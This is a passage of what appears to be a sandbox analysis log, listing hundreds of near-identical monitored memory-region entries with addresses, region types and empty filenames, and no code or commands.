0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 15250 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 15251 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 15252 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 15253 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 15254 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 15255 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 15256 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 15257 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 15258 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 15259 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 15260 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 15261 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 15262 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 15263 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 15264 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 15265 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 15266 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 15267 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 15268 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 15269 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 15270 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 15271 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 15272 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 15273 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 15274 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 15275 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 15276 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 15277 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 15278 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 15279 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 15280 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 15281 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 15282 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 15283 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 15284 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 15285 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 15286 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 15287 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 15288 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 15289 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 15290 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 15291 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 15292 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 15293 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 15294 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 15295 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 15296 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 15297 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 15298 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 15299 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 15300 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 15301 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 15302 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 15303 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 15304 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 15305 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 15306 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 15307 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 15308 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 15309 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 15310 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 15311 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 15312 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 15313 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 15314 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 15315 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 15316 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 15317 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 15318 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 15319 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 15320 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 15321 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 15322 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 15323 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 15324 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 15325 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 15326 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 15327 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 15328 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 15329 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 15330 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 15331 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 15332 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000006b0000" filename = "" Region: id = 15333 start_va = 0x2270000 end_va = 0x228ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002270000" filename = "" Region: id = 15334 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 15335 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 15336 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 15337 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 15338 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 15339 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 15340 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 15341 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 15342 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 15343 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 15344 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 15345 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 15346 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 15347 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 15348 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 15349 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 15350 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 15351 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 15352 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 15353 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 15354 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 15355 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 15356 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 15357 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 15358 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 15359 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 15360 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 15361 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 15362 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 15363 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 15364 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 15365 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 15366 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 15367 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 15368 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 15369 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 15370 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 15371 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 15372 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 15373 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 15374 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 15375 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 15376 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 15377 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 15378 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 15379 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 15380 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 15381 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 15382 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 15383 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 15384 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 15385 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 15386 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 15387 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 15388 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 15389 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 15390 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 15391 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 15392 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 15393 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 15394 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 15395 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 15396 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 15397 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 15398 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 15399 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 15400 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 15401 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 15402 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 15403 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 15404 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 15405 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 15406 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 15407 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 15408 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 15409 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 15410 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 15411 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 15412 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 15413 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 15414 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 15415 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 15416 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 15417 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 15418 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 15419 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 15420 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 15421 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 15422 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 15423 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 15424 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 15425 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 15426 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 15427 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 15428 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 15429 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 15430 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 